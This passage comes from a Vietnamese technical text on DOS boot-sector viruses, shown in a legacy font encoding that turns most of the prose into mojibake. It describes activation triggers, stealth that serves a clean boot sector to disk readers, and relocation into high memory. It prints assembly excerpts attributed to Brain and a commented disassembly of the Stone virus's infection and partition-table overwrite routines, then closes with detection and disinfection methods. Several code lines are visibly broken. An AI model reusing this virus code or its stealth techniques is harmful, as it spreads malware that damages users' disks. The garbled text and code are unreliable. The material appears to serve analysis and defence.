48 giê, toµn bé partition boot ®−îc cña b¹n sÏ bÞ m� hãa toµn bé (mét tµi liÖu n−íc ngoµi cho 
lµ ®Üa cøng bÞ format l¹i hoÆc bÞ ghi ‘r¸c’ vµo - nh−ng ®iÒu nµy hoµn toµn sai lÇm). 
 + ChiÕm ng¾t 21h cña DOS ®Ó lÊy ngµy th¸ng: viÖc lÊy ngµy th¸ng xem ra khã kh¨n cho 
B - virus h¬n lµ F - virus, v× ë møc ®é qu¸ thÊp, khi m¸y võa khëi ®éng, DOS ch−a khëi t¹o 
c¸c ng¾t cho riªng m×nh, kÓ c¶ ng¾t 21h. Do ®ã, virus chØ cã thÓ lÊy ngµy th¸ng tõ CMOS 
RAM trªn c¸c m¸y AT, ®iÒu nµy l¹i kh«ng cã trªn XT. Do tÝnh kh«ng ‘t−¬ng thÝch’ nµy mµ 
c¸c B - virus bá qua kh«ng dïng ®Õn c¸ch nµy. Tuy nhiªn, vÒ sau, khi ®� ‘ph¸t triÓn’ cao, B - 
virus ®� cã thÓ vßng l¹i mét lÇn n÷a ®Ó lÊy ng¾t 21h th× viÖc nµy míi ®−îc gi¶i quyÕt xong. 
§Æc tr−ng cho lo¹i nµy lµ Joshi virus, víi sù kiÓm tra liªn tôc ngµy th¸ng cña hÖ ®iÒu hµnh, 
nÕu ®óng vµo ngµy 5 th¸ng 1, nã sÏ b¾t ng−êi sö dông ®¸nh vµo mét c©u chóc mõng ‘Happy 
birthday Joshi’ tr−íc khi cã thÓ lµm thªm bÊt k× mét ®iÒu g×. 
 + §Õm sè lÇn l©y cho c¸c ®Üa kh¸c: c¸ch nµy dÔ thùc hiÖn h¬n v× kh«ng cÇn ph¶i ®Õm giê, 
ngµy th¸ng cho mÊt c«ng. Khi mét ®Üa ®−îc virus ‘kÝ tªn’ vµo, bé ®Õm cña nã sÏ tù ®éng t¨ng 
lªn mét ®¬n vÞ. Khi sè ®Üa bÞ l©y ®� v−ît qu¸ mét con sè cho phÐp, ®Üa ®ã sÏ bÞ ph¸ ho¹i. 
b. NgÉu nhiªn vµ liªn tôc:  Virus kh«ng cÇn ph¶i ®Õm giê, chØ sau vµi phót x©m nhËp vµo hÖ 
thèng, nã sÏ ph¸t huy t¸c dông. Do tÝnh chÊt nµy, virus kh«ng mang tÝnh ph¸ ho¹i mµ ®¬n gi¶n 
lµ g©y mét sè hiÖu øng phô ë loa, mµn h×nh, bµn phÝm... ®Ó g©y sù ng¹c nhiªn vµ thÝch thó (lÉn 
bùc däc) cho ng−êi sö dông. 
§iÓn h×nh cho lo¹i nµy lµ Pingpong virus, sau khi th©m nhËp xong, vµi phót sau ®� thÊy trªn 
mµn h×nh xuÊt hiÖn mét tr¸i banh chuyÓn ®éng trªn mµn h×nh vµ tu©n theo ®óng c¸c ®Þnh luËt 
ph¶n x¹ khi gÆp c¸c ®−êng biªn. §Æc biÖt, nh÷ng kÝ tù mµ nã ®i qua vÉn gi÷ nguyªn kh«ng bÞ 
thay ®æi (c¸c b¹n cã thÓ xem ®o¹n ch−¬ng tr×nh m« pháng ë phÇn phô lôc A). 

5/ KÜ thuËt ngôy trang vµ g©y nhiÔu: KÜ thuËt nµy thùc ra ®� ra ®êi kh¸ muén mµng do 
khuynh h−ãng ngµy cµng dÔ bÞ ph¸t hiÖn. KÝch th−íc virus kh¸ nhá bÐ nªn viÖc dß tõng b−íc 
(trace) xem nã lµm g× lµ ®iÒu mµ c¸c th¶o ch−¬ng viªn cã thÓ lµm ®−îc. Trong thùc tÕ khã cã 
mét ph−¬ng ph¸p h÷u hiÖu nµo ®Ó chèng l¹i ngoµi c¸ch viÕt cè t×nh r¾c rèi. Ph−¬ng ph¸p nµy 
cã vÎ cæ ®iÓn nh−ng l¹i rÊt h÷u hiÖu. B»ng mét lo¹t c¸c lÖnh mµ ng−êi dß theo cã thÓ bÞ halt 
m¸y nh− ®Æt l¹i stack vµo mét vïng mµ kh«ng ai d¸m thi hµnh tiÕp, chiÕm vµ xãa mét sè ng¾t, 
®Æt l¹i thanh ghi ph©n ®o¹n ®Ó ng−êi dß kh«ng biÕt d÷ liÖu lÊy tõ ®©u ra .... C¸c ch−¬ng tr×nh B 
- virus vÒ sau ®� g©y khã kh¨n kh«ng Ýt trong cè g¾ng kh«i phôc ®Üa bÞ nhiÔm. Mét ph−¬ng 
ph¸p kh¸c cã thÓ dïng lµ m� hãa ngay chÝnh ch−¬ng tr×nh virus, tuy nhiªn, cho ®Õn nay ch−a 
cã mét ch−¬ng tr×nh B - virus nµo dïng ®Õn ph−¬ng ph¸p nµy. 
ViÖc g©y nhiÔu nµy chØ cã t¸c dông trªn c¸c m¸y ®� bÞ nhiÔm hoÆc dïng mét phÇn mÒm debug 
theo dâi. NÕu toµn bé ch−¬ng tr×nh virus ®−îc ®æ ra thµnh file vµ xem tõng b−íc mét th× virus 
còng ®µnh ph¶i chµo thua. 
§Ó tr¸nh bÞ ph¸t hiÖn qu¸ sím hoÆc bÞ ph¸t hiÖn bëi c¸c phÇn mÒm chèng virus, ®ßi hái virus 
ph¶i cã tÝnh ngôy trang. ViÖc ngôy trang nµy x¶y ra trong vïng nhí lÉn trªn ®Üa. 
§èi víi vïng nhí, víi kÜ thuËt l−u tró, B - virus lu«n chiÕm ë vïng nhí cao, do ®ã sÏ t¹o ra sù 
chªnh lÖch gi÷a vïng nhí do BIOS qu¶n lÝ vµ vïng nhí thùc sù cña m¸y. BÊt k× mét phÇn mÒm 
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c«ng cô nµo kiÓu Memory Map ®Òu cã kh¶ n¨ng th«ng b¸o ®iÒu nay (ch¼ng h¹n PCTools cña 
Central Point ...). Thùc tÕ ‘®au lßng’ kh«ng thÓ nµo tr¸nh khái nµy ®ang lµ nçi ®au ®Çu cho c¸c 
hacker. §Õn nay, vÉn ch−a cã B - virus nµo gi¶i quyÕt vÊn ®Ò nµy vµ mäi chuyÖn vÉn cßn ë 
phÝa tr−íc. 
§èi víi ®Üa, mäi chó ý ®Òu tËp trung vµo Boot sector (vµ Partition table n÷a). Mäi thay ®æi trªn 
Boot sector dï nhá còng t¹o mét mèi nghi ngê cho ng−êi sö dông - ng−êi ®� cã qu¸ nhiÒu 
kinh nghiÖm qua nhiÒu lÇn ph¸ ho¹i cña virus. B - virus ®� gi¶i quyÕt vÊn ®Ò nµy b»ng hai 
c¸ch. ChØ cµi ®óng ®o¹n m� chÝnh vµo Boot sector (nÕu virus thuéc lo¹i DB - virus), ®o¹n m� 
nµy cµng ng¾n cµng tèt vµ nhÊt lµ cµng gièng ®o¹n m� chuÈn trong Boot sector. §o¹n nµy chØ 
cã mét nhiÖm vô cán con lµ n¹p tiÕp phÇn cßn l¹i vµo trong vïng nhí vµ trao quyÒn cho nã. V× 
lÝ do nµy kh¶ n¨ng ph¸t hiÖn virus ®� gi¶m xuèng ®¸ng kÓ. Tuy vËy, c¸ch thø hai vÉn lu«n 
®−îc ¸p dông: khi m¸y ®ang n»m trong quyÒn chi phèi cña virus, mäi yªu cÇu ®äc ghi Boot 
sector (hay Partition table), tÊt nhiªn lµ trõ chÝnh virus, sÏ ®−îc virus tr¶ vÒ cho mét b¶n Boot 
sector chuÈn - Boot sector tr−íc khi virus l©y. Vµ ®iÒu nµy, sÏ g©y ra mét ‘¶o t−ëng’ vÒ sù 
trong s¹ch cña m¸y vµ ®¸nh lõa lu«n c¶ nh÷ng ch−¬ng tr×nh Antivirus nÕu nã ®−îc thiÕt kÕ 
kh«ng tèt. 
§o¹n m� sau sÏ tr×nh bµy c¸ch tr¶ Boot sector: 
;§Çu vµo cña ng¾t 13h ®� bÞ virus chiÕm 
cmp  CH, 2     ; Chøc n¨ng ®äc? 
Jne  exit0 
cmp  DL, 2     ; Truy xuÊt trªn ®Üa mÒm? 
ja   exit0 
cmp  ch, 0      ;Track 0? 
Je   cont0    ;NÕu kh«ng ph¶i track 0 sÏ thùc hiÖn  
......        ; viÖc kiÓm tra 
exit0: 
jmp  exit1 
cont0: 
  mov  ptr byte [227h], 0 
  mov  ptr byte [225h], 4 
  push  AX 
  push  BX 
  push  CX 
  push  DX 
  mov  ptr byte [226h], DL   ;CÊt gi¸ trÞ ®Üa 
  mov  CX, 4     ;Ng¾t 13h cò ®� ®−îc ®æi thµnh ng¾t 
  push  CX      ;6DH 
  mov  AH, 0 
  int  6Dh      ;Reset l¹i ®Üa 
  jb  error 
  push  ES 
  mov  DH, 0     ;§äc Boot sector vµo buffer cña virus 
  mov  CX, 1 
  mov  BX, offset buffer 
  mov  AX, CS 
  mov  ES, AX 
  mov  AX, 201h 
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  int  06Dh 
  pop  ES 
  jae  cont1     ;Kh«ng gÆp lçi 
  ..... 
 cont1: 
  pop  CX      ;KiÓm tra key value ë offset 3 
  mov  AX, ptr word buffer[3] 
  cmp  AX, 1234h    ;Key value lµ 1234h 
  jne  infect     ;NÕu sai chuyÓn sang chÕ ®é l©y 
  mov  ptr byte [227]    ;BËt cê hiÖu ®� nhiÔm 
  jmp  cont2 
 infect: 
  ...... 
 Cont2: 
  pop  DX 
  pop  CX 
  pop  BX 
  pop  AX 
  cmp  CX, 1     ;Track 0 sector 1? 
  jne  exit1 
  cmp  ptr byte [227h], 1   ;§� l©y ch−a? 
  jne   exit2 
  mov  CX, buffer [7]    ;CX=Track+sector 
  mov  DX, buffer[5]    ;DX=head 
  mov  DL, ptr byte [226]   ;DL=®Üa 
  jmp  exit1     ;§Þa chØ cña Old boot trªn ®Üa 
  ...... 
 exit1: 
  int  6Dh       ;§äc sector cò vµo 
  retf  2 
(TrÝch Brain virus version 9.2) 
 
Do ®ã, s¬ ®å chung cã thÓ ®−îc bæ sung nh− sau: 
   §äc Boot sector?   No Ng¾t 13 cò 
    Yes 
  §äc boot cña virus vµo 
    §Þnh vÞ vµ ®äc Boot sector cò vµo 

6/ KÜ thuËt ®Þnh vÞ ch−¬ng tr×nh: KÜ thuËt nµy Ýt ®−îc ai ®Ó ý dï r»ng nã ®ãng mét vai trß 
kh«ng nhá trong viÖc g©y nhiÔu vµ dÔ thiÕt kÕ ch−¬ng tr×nh trong viÖc truy xuÊt d÷ liÖu. 
Nh− ta ®� biÕt, Boot sector ®−îc t¶i vµo ®Þa chØ 0:07C00h. Nh− vËy c¸c d÷ liÖu trong b¶ng 
tham sè ph¶i ®−îc tham chiÕu b»ng CS vµ lÊy ra tõ offset 07C00h. Râ rµng, ®iÒu nµy g©y khã 
chÞu cho ng−êi thiÕt kÕ lÉn ng−êi muèn ®äc nã. C¸ch tèt nhÊt lµ b»ng mét phÐp biÕn ®æi nµo 
®ã, chuyÓn ®Þa chØ nµy sang mét d¹ng kh¸c víi offset quen thuéc h¬n. Ph−¬ng ph¸p th−êng 
®−îc dïng lµ: ®Þnh vÞ ngay mét vïng nhí l−u tró, chuyÓn toµn bé ch−¬ng tr×nh sang vïng nµy 
vµ chuyÓn quyÒn víi offset míi lµ 0 hay 100h (t−¬ng øng víi file d¹ng COM vµ BIN). Ph−¬ng 
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ph¸p nµy râ rµng rÊt quen thuéc ®èi víi c¸c th¶o ch−¬ng viªn hÖ thèng. §o¹n m� sau minh häa 
®iÒu nµy: 
;Gi¶ sö DS=0 
  mov  BX, 413h     ;DS:BX =0:413h : Tæng sè memory 
  mov  AX, ptr word [BX]   ;AX= tæng sè memory 
  sub  AX, 7 
  mov  ptr word [BX], AX   ;Gi¶m sè memory xuèng 7Kb 
  mov  CL, 6 
  shl  AX, CL     ;ChuyÓn sang ®o¹n 
  sub  AX, 10h     ;Gi¶m 100h nh»m t¹o offset 0100h 
  mov  ES, AX 
  mov  SI, 7C00h     ;ChuyÓn toµn bé ch−¬ng tr×nh virus sang 
  mov  DI, 100h     ;vïng nhí míi víi offset míi 100h 
  mov  CX, 1000h 
  cls 
  rep  movsb 
  push  ES 
  mov  AX, 300h 
  push  AX 
  retf 
(TrÝch Brain virus version 9.2) 
 
Mét c¸ch kh¸c cho phÐp ®æi nhanh h¬n mµ kh«ng cÇn phøc t¹p ®� ®−îc virus Stone ®Ò nghÞ: 
®¬n gi¶n lµ mét lÖnh JMP FAR ngay tõ ®Çu ch−¬ng tr×nh nÕu ta ®Ó ý: 
  JMP  FAR 07C00h 
LÖnh nµy thùc chÊt chuyÓn quyÒn ®iÒu khiÓn cho lÖnh tiÕp theo, tuy nhiªn, lóc nµy offset ®� 
®−îc ®−a vÒ d¹ng BIN. 
 
 

VI - Ph©n tÝch mét B - virus. 

§Ó ph©n tÝch mét B - virus, kh«ng cã g× ghª gím c¶. Tuy vËy, ®Ó cã mét virus mang tÝnh kh¸i 
qu¸t cao vµ nhÊt lµ kh«ng cã mét lçi g× (bug) trong ch−¬ng tr×nh (th−êng lçi ë ®©y kh«ng ph¶i 
lµ logic), l¹i minh häa c¸c kÜ thuËt võa nªu trªn th× qu¶ lµ khã chän. Nh−ng ®Ó kh«ng mÊt qu¸ 
nhiÒu thêi  giê v« Ých trong viÖc ph©n tÝch nh÷ng virus qu¸ dµi dßng, chóng ta sÏ cïng ph©n 
tÝch mét SB - virus: Stone virus. 
 1. M« t¶ ®Æc tr−ng: 

  + §Þnh vÞ ch−¬ng tr×nh: kiÓu .BIN 
  + KÝch th−íc vïng nhí bÞ virus chiÕm 2Kb. 
  + KÜ thuËt kiÓm tra tÝnh tån t¹i: Mét biÕn d¹ng cña Key value b»ng c¸ch kiÓm tra 2 
word ®Çu tiªn. 
  + §èi t−îng tÊn c«ng: c¶ hai lo¹i ®Üa mÒm vµ cøng. §èi víi ®Üa cøng tÊn c«ng vµo 
Partition table. 
  + Boot sector hay partition ®−îc cÊt dÊu ë Track 0, head 0, sector 7 ®èi víi ®Üa cøng 
vµ Track 0, head 1, sector 3 ®èi víi ®Üa mÒm. 
  + Kh«ng tr¶ BPB cho ®Üa mÒm. 
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  + Ph¸ ho¹i: Mét gi¸ trÞ ngÉu nhiªn theo thêi gian, khi Boot m¸y sÏ ®−a ra th«ng b¸o 
“Your PC is now stoned!” 
 2. Ph©n tÝch: 

; Ch−¬ng tr×nh ph©n tÝch 
  org  0 
  jmp  far 07C0h:0 
  jmp  begin 
;B¶ng tham sè  
 DiskID  db 0     ; Cã gi¸ trÞ 0 nÕu ®Üa A, 080h nÕu C 
 OffInt13  dw 0     ; Chøa ®Þa chØ ng¾t 13h 
 SegInt13  dw 0 
 OffVirus  dw 0E4h 
 SegVirus  dw 7C00h  
 SegBoot  dw 7C00h 
 OffBoot  dw 0 
 
 NewInt13 proc  near 
; Chøc n¨ng: chØ l©y trªn ®Üa mÒm khi thùc hiÖn chøc n¨ng read/write ®Üa cøng. 
; (nÕu cã) ®� ®−îc l©y trong qu¸ tr×nh Boot m¸y. 
; Procedure nµy thay cho ng¾t 13h cò 
  push  DX 
  push  AX 
  cmp  AH, 2     ; Chøc n¨ng 2? 
  jb  StExit 
  cmp  AH, 4     ; Chøc n¨ng 4? 
  ja  StExit 
  or  DI, DI 
  jne  StExit 
  xor  AX, AX 
  mov  DS, AX 
  mov  AL, ptr byte [43Fh]   ; LÊy gi¸ trÞ kiÓm tra motor 
  test  AL, 1 
  jne  StExit 
  call  MainProcess    ; Thùc hiÖn kiÓm tra vµ l©y 
 StExit: 
  pop  AX 
  pop  DS 
  jmp  far DS:[OffInt13] 
 NewInt13 endp 
 MainProcess proc  near 
  push  BX 
  push  CX 
  push  DX 
  push  ES 
  push  SI 
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  push  DI 
  mov  SI, 4      ; T¹o sè lÇn lÆp nÕu lçi 
 Mp1:  
  mov  AX, 201h     ; §äc Boot record 
  push  CS 
  pop  ES      ; ES=CS 
  mov  BX, 200h 
  xor  CX, CX 
  mov  DX, CX 
  inc  CX 
  pushf 
  call  far [OldInt13] 
  jae  Mp0 
  xor  AX, AX 
  pushf 
  call  far [OldInt13]    ; Reset l¹i ®Üa 
  dec  SI 
  jne  Mp1 
  jmp  short MpExit 
  nop 
 Mp0:        ; Thùc hiÖn kiÓm tra key value 
  xor  SI, SI 
  mov  DI, 200h 
  cld 
  push  CS 
  pop  DS 
  lod  sw 
  cmp  AX, ptr word [DI] 
  jne  Mp2      ; Mét tõ ë offset 0 
  lod  sw 
  cmp  AX, ptr word [DI+2]   ; Mét tõ ë offset 2 
  je  MpExit 
 Mp2:        ; Ghi Boot sector vµo track 0, head 1, sector 3 
  mov  AX, 301h 
  mov  BX, 200h 
  mov  CL, 3 
  mov  DH, 1 
  pushf 
  call  far [OldInt13] 
  jb  MpExit 
; Ghi Boot sector cña virus vµo 
  mov  AX, 301h 
  xor  BX, BX 
  mov  CL, 1 
  xor  DX, DX 
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  pushf 
  call  far [OldInt13] 
 MpExit: 
  pop  DI 
  pop  SI 
  pop  ES 
  pop  DX 
  pop  CX 
  pop  BX 
  ret 
 MainProcess endp 
;--------------- PhÇn Install 
 Begin:        ; Khëi t¹o Stack 
  xor  AX, AX 
  mov  DS, AX 
  cli 
  mov  SS, AX 
  mov  SP, 7C00h 
  sti 
;LÊy ®Þa chØ ng¾t 13h. L−u tró trong vïng nhí 
  mov  AX, ptr word [413h] 
  dec  AX 
  dec  AX 
  mov  ptr word [413h], AX 
  mov  CL, 6 
  shl  AX, CL     ; §æi ®Þa chØ sang ®o¹n 
  mov  ptr word SegVirus, AX  ; CÊt ®Þa chØ nµy 
; Thay ng¾t 13h 
  mov  AX, 15h 
  mov  ptr word [4*13h]   ; G¸n ®Üa chØ míi 
  mov  ptr word [4*13h+2] 
; ChuyÓn ch−¬ng tr×nh sang vïng nhí cao 
  mov  CX, 1B8h     ; Sè byte cÇn chuyÓn 
  push  CS 
  pop  DS 
  xor  SI, SI 
  mov  DI, SI 
  cld 
  movsb 
  jmp  far [OffVirus]    ; Thùc chÊt lµ chuyÓn xuèng d−íi 
  mov  AX, 0 
  int  13h      ; Reset ®Üa 
  xor  AX, AX 
  mov  ES, AX     ; ES=0 
; §äc Boot sector vµo vïng nhí, tïy theo ®Üa mÒm hay ®Üa cøng mµ vÞ trÝ cña boot sÏ  
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;®−îc tÝnh. 
  mov  AX, 201h 
  mov  BX, 7C00h    ; Buffer AX:7C00h 
  cmp  DiskID,0     ; §Üa mÒm hay ®Üa cøng 
  je  Floppy 
  mov  CX, 7     ; Sector 7 
  mov  DX, 80h 
  int  13h 
  jmp  short Mexit 
  nop        ; Tr−êng hîp boot b»ng ®Üa mÒm sÏ l©y lu«n 
          ; ®Üa cøng 
 Floppy: 
  mov  CX, 3 
  mov  DX, 100h 
  jb  Mexit     ; Ph¸ ho¹i ngÉu nhiªn in ra dßng 
  test  byte ptr [46Ch], 7   ; “Your PC is now Stoned” 
  jne  NotDestroy 
  mov  SI, offset Message 
  push  CS 
  pop  DS 
 Mcont1: 
  lodsb 
  or  AL, AL 
  je  notDestroy 
  mov  AH, 0Eh     ; In ra mµn h×nh 
  mov  BH, 0     ; Trang 0 
  int  10h 
  jmp  Mcont1 
  push  CS 
  pop  ES      ; §äc Partition table vµo 
  mov  AX, 201h 
  mov  BX, 200h 
  mov  CL, 1 
  mov  DX, 80h 
  int  13h 
  jb  MExit 
  push  CS 
  pop  DS 
  mov  SI, 200h 
  mov  DI, 0      ; KiÓm tra  key value 
  lodsw 
  cmp  AX, ptr word [DI] 
  jne  Mlay 
  lodsw 
  cmp  AX, ptr word [DI+2] 
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  jne  Mlay 
  mov  DiskID     ; Reset diskID råi trao cho Boot sector  
  jmp  far OffBoot 
  mov  AX, 301h     ; Ghi Partition table vµo sector 7 
  mov  CX, 7     ; head 0, track 0. 
  Mov  BX, 200h 
  mov  DX, 80h 
  int  13h 
  jb  MExit 
; Copy l¹i Partition table vµo boot cña virus 
  push  CS 
  pop  DS 
  push  CS 
  pop  ES 
  mov  SI, 3BEh 
  mov  DI, 1BEh 
  mov  CX, 242h 
  rep  movsb 
; Ghi boot vµo  
  mov  AX, 301h 
  xor  BX, BX 
  inc  CL 
  int  13h 
  jmp  MExit 
; PhÇn d÷ liÖu 
 Message  db 07,’Your PC  is now Stoned!’,07,0D,0A,0A,0 
 Copyrigh  db ‘LEGALISE MARIJUANA !’,0 
 
   

VII - C¸ch Phßng Chèng Vµ Ch÷a TrÞ. 

C¸c th«ng tin qua b¸o chÝ chØ cung cÊp cho ng−êi ®äc c¸c kh¶ n¨ng cña virus, cßn c¸ch ch÷a 
trÞ th× kh«ng ai ®Ò cËp ®Õn. MÆt kh¸c, c¸c nhµ s¶n xuÊt phÇn mÒm chèng virus l¹i cµng kh«ng 
phæ biÕn c¸ch ch÷a trÞ (cã lÏ hä muèn gi÷ ®éc quyÒn). ChÝnh v× vËy, kh«ng ai ®−a ra mét c¸ch 
ch÷a trÞ c¨n b¶n vµ cã hÖ thèng. PhÇn sau kh«ng cã tham väng ®−a ra toµn bé mµ chØ s¬ l−îc 
qua c¸c b−íc ph¶i thùc hiÖn. 

1/ Ph¸t hiÖn: §©y lµ b−íc quan träng cho c¸c b−íc tiÕp theo v× kh«ng thÓ ch÷a trÞ nÕu kh«ng 
biÕt m¸y hay ®Üa cã bÞ nhiÔm virus hay kh«ng, hay bÞ nhiÔm lo¹i virus nµo. ViÖc ph¸t hiÖn 
tr−íc hÕt ph¶i thùc hiÖn trong vïng nhí, v× mét khi virus n¾m quyÒn ®iÒu khiÓn sÏ dÉn ®Õn sai 
l¹c th«ng tin trong c¸c t¸c vô truy xuÊt ®Üa tiÕp theo ®ã. Sau ®ã míi tiÕn hµnh trªn ®Üa. Sù tån 
t¹i cña virus g¾n liÒn víi sù tån t¹i cña mét vµi dÊu hiÖu ®Æc biÖt. Ta sÏ xÐt lÇn l−ît sau ®©y: 
a. Trong vïng nhí:  ViÖc ph¸t hiÖn bao gåm dù b¸o vÒ kh¶ n¨ng xuÊt hiÖn mét virus l¹ trong 
vïng nhí, ®−a ra chÝnh x¸c lo¹i virus ®� biÕt.  
Do ®Æc tÝnh ph¶i tån t¹i trong bé nhí cao, B - virus rÊt dÔ bÞ ph¸t hiÖn. ViÖc ph¸t hiÖn cã thÓ 
qua c¸c b−íc sau: 
 + So s¸nh tæng sè vïng nhí BIOS t−êng thuËt víi toµn bé vïng nhí mµ ch−¬ng tr×nh cã 
®−îc sau khi tù test ®Ó kiÓm tra sù chªnh lÖch. DÊu hiÖu nµy còng ch−a cho phÐp kÕt luËn ®� 
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tån t¹i virus, mµ lµ c¬ së ®Ó tiÕn hµnh v−íc 2 v× sè chªnh lÖch còng cã thÓ ph¶n ¶nh vïng 
RAM ®� bÞ háng. 
 + B¾t ®Çu tõ ®Þa chØ cña vïng cao, tiÕn hµnh dß t×m b»ng kÜ thuËt Scanning: dß t×m ®o¹n 
m� x¸c ®Þnh ch−¬ng tr×nh virus ®� biÕt trong vïng cao. Mäi sù t×m thÊy ®Òu cho phÐp kÕt luËn 
virus cã tån t¹i trong vïng nhí. Tuy nhiªn, vÒ sau, ph−¬ng ph¸p scanning béc lé thiÕu sãt: nÕu 
m¸y ®ang bÞ nhiÔm virus ®−îc Warm boot víi mét ®Üa mÒm s¹ch sÏ kh«ng test RAM vµ do ®ã 
vÉn ph¸t hiÖn virus trong vïng nhí. §Ó kh¾c phôc ®iÒu nµy, ®äc gi¶ h�y tù m×nh suy nghÜ vµ 
®Ò ra ph−¬ng ph¸p thÝch hîp. 
 + Trong tr−êng hîp kh«ng ph¸t hiÖn, kh¶ n¨ng tån t¹i mét B - virus míi vÉn cã, b»ng mét 
sè dÇu hiÖu. Mét sè thñ thuËt, chóng ta vÉn cã thÓ cho mét kÕt qu¶ t−¬ng ®èi chÝnh x¸c vÒ mét 
lo¹i virus míi hay kh«ng. 
 + Mét sè phÇn mÒm chèng virus cßn ®−a thªm mét b−íc ch÷a trÞ cho vïng nhí, nghÜa lµ 
v« hiÖu hãa virus trong vïng nhí b»ng c¸ch dµnh l¹i int 13h cò. Tuy nhiªn, vÉn cã thiÕu sãt: 
kh«ng thÓ tr¶ l¹i vïng nhí cho DOS b»ng c¸ch céng thªm vµo gi¸ trÞ t¹i BIOS data 40:13 mét 
l−îng b»ng l−îng vïng nhí do virus chiÕm v× DOS sÏ kh«ng cßn dïng ®Õn gi¸ trÞ nµy n÷a. Do 
®ã, vÉn ph¶i Reset l¹i m¸y ®Ó BIOS tiÕn hµnh test l¹i RAM. Nh−ng v« hiÖu hãa virus ®Ó ch−a 
trÞ ræi rest m¸y lµ ph−¬ng ph¸p tèt nhÊt hiÖn nay.  
Mét ph−¬ng ph¸p kh¸c ®−îc ®−a ra bëi c¸c nhµ ch÷a trÞ virus trong n−íc - mét ph−¬ng ph¸p 
cùc k× ®¬n gi¶n - tuy nhiªn kh«ng thÓ ®¶m b¶o sù t−¬ng thÝch víi mäi lo¹i hÖ ®iÒu hµnh. 
Ph−¬ng ph¸p nµy dùa vµo ®Æc tÝnh: khi virus chi phèi vïng nhí, lu«n lu«n nã ph¶i chiÕm ng¾t 
13h, viÖc thay thÕ ®Þa chØ nµy sÏ lµm gi¸ trÞ segment cña ng¾t 13h ®æi tõ ROM sang RAM, 
nghÜa lµ thay ®æi tõ 1 gh¸ trÞ lín h¬n 0C000h thµnh mét gi¸ trÞ nhá h¬n A000h. Tuy nhiªn, khi 
DOS dµnh quyÒn ®iÒu khiÓn, nã l¹i thay ®Þa chØ nµy b»ng ®o¹n m� cña nã. Do ®ã, vÊn ®Ò ph¶i 
gi¶i quyÕt lµ t×m ®−îc chç DOS gi÷ ®Þa chØ nµy. Gi¸ trÞ nµy ®−îc c¸c nhµ nghiªn cøu hÖ thèng 
c«ng bè ë ®Þa chØ 0:7B4h qua viÖc nghiªn cøu c¸c version DOS cho ®Õn b¶n míi nhÊt  DOS 
4.xx. ViÖc kiÓm tra sÏ cho biÕt m¸y cã bÞ nhiÔm hay kh«ng nh−ng ph−¬ng ph¸p nµy vÉn cã 
nh−îc ®iÓm: Kh«ng ®¶m b¶o sù t−¬ng thÝch cho c¸c b¶n version míi cña DOS. Ngoµi ra cã 
c¸ch ®Þnh vÞ l¹i gi¸ trÞ segment ®Ó nã ®−îc xem lµ n»m ë ROM dï nã vÉn n»m trong RAM. 
Do ®ã ph−¬ng ph¸p nµy cÇn ®−îc ®iÒu chØnh ®Ó t¹o mét ®Þa chØ chÝnh x¸c 20 bit råi so s¸nh 
trªn ®Þa chØ nµy. 

b. Trªn ®Üa:  ViÖc dß t×m trªn ®Üa ph¶i thùc hiÖn sau khi kiÓm tra vïng nhí kh«ng ph¸t hiÖn 
thÊy virus. Kh«ng nh− trong vïng nhí, cã thÓ tiÕn hµnh b»ng nhiÒu c¸ch bao gåm c¶ viÖc ph¸t 
hiÖn virus míi (nÕu cã). 
Mét ph−¬ng ph¸p ®−îc nhiÒu phÇn mÒm Antivirus sö dông lµ ph−¬ng ph¸p dß t×m ®o¹n m�. 
Ph−¬ng ph¸p nµy t−¬ng tù nh− dß t×m vïng nhí nh−ng còng cßn nh−îc ®iÓm: do tÝnh chÊt 
ngôy trang cña virus, cã thÓ Boot sector bÞ 2 hay nhiÒu virus g©y nhiÔm. Ph−¬ng ph¸p dß t×m 
cã thÓ t×m thÊy virus thø 2 vµ do ®ã dÉn ®Õn kÕt qu¶ kh«i phôc sai l¹c. 
Mét b»ng chøng hïng hån lµ nÕu mét ®Üa mÒm bÞ nhiÔm Stone tr−íc khi bÞ Joshi virus tÊn 
c«ng sÏ ®−îc phÇn mÒm TNT virus (Turbo Antivirus) th«ng b¸o lµ bÞ nhiÔm Stone vµ do ®ã sÏ 
kh«i phôc Stone h¬n lµ kh«i phôc Joshi tr−íc. 
Mét ph−¬ng ph¸p kh¸c còng ®−îc c¸c phÇn mÒm sö dông lµ kiÓm tra key value mµ th«i. Do sù 
ph¸t triÓn qu¸ nhanh cña virus, gi¸ trÞ key value kh«ng cßn mang ý vghÜa quan träng n÷a. Tuy 
vËy, cã thÓ tham kh¶o gi¸ trÞ nµy víi kÜ thuËt dß t×m ë trªn. 
§Ó cã dù b¸o 2 virus míi, khã cã thÓ nãi 1 Boot sector nµo chøa dÊu hiÖu virus v× lÏ Boot 
sector ®−îc thiÕt kÕ còng gÇn gièng nh− mét B - virus, do ®ã mét sè phÇn mÒm ®� t¹o file 
chøa Boot sector vµ Partition table. ViÖc kiÓm tra cã tån t¹i virus míi hay kh«ng chØ ®¬n gi¶n 
lµ so s¸nh Boot record vµ Partition table víi néi dung cña file nµy (nh− TNT virus ®� lµm). 
2/ Ch÷a trÞ: NhiÒu ng−êi xem viÖc kh«i phôc ®Üa chØ ®¬n gi¶n lµ ghi ®Ì Boot record míi vµo 
Boot. Tuy nhiªn, nÕu Boot record cña 1 ®Üa cã nhiÖm vô ®Æc biÖt th× sao? §ã còng ch−a kÓ ®Üa 
cøng cã tham sè mµ chØ cÇn 1 b¶ng Partition table sai lÖch còng dÉn ®Õn kh«ng kiÓm so¸t næi 
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®Üa. Do ®ã, c¸ch tèt nhÊt lµ ph¶i kh«i phôc Boot sector (hay Partition table) trong tr−êng hîp 
kh«ng thÓ kh«i phôc l¹i míi tiÕn hµnh ghi ®Ì 1 Boot record míi. C¸c b−íc tiÕn hµnh cã thÓ 
nh− sau: 
 + C¨n cø vµo lo¹i virus vµ lo¹i ®Üa (FD/HD) x¸c ®Þnh n¬i cÊt dÊu Boot sector. 
 + §äc Boot sector hoÆc partition vµo vµ kiÓm tra. ViÖc kiÓm tra ®−îc tiÕn hµnh trªn c¬ së 
b¶ng tham sè BPB vµ dÊu hiÖu nhËn d¹ng ®Üa. 
 + Trong tr−êng hîp viÖc kiÓm tra lµ chÝnh x¸c míi b¾t ®Çu ghi vµo Boot sector. 
§èi víi lo¹i DB - virus, viÖc kh«i phôc ®Üa cßn ®i kÌm víi viÖc gi¶i phãng mét sè cluster bÞ 
®¸nh dÊu bá trªn ®Üa, nÕu virus dïng ph−¬ng ph¸p ®Þnh vÞ FAT. ë ®©y l¹i cã mét sè vÊn ®Ò 
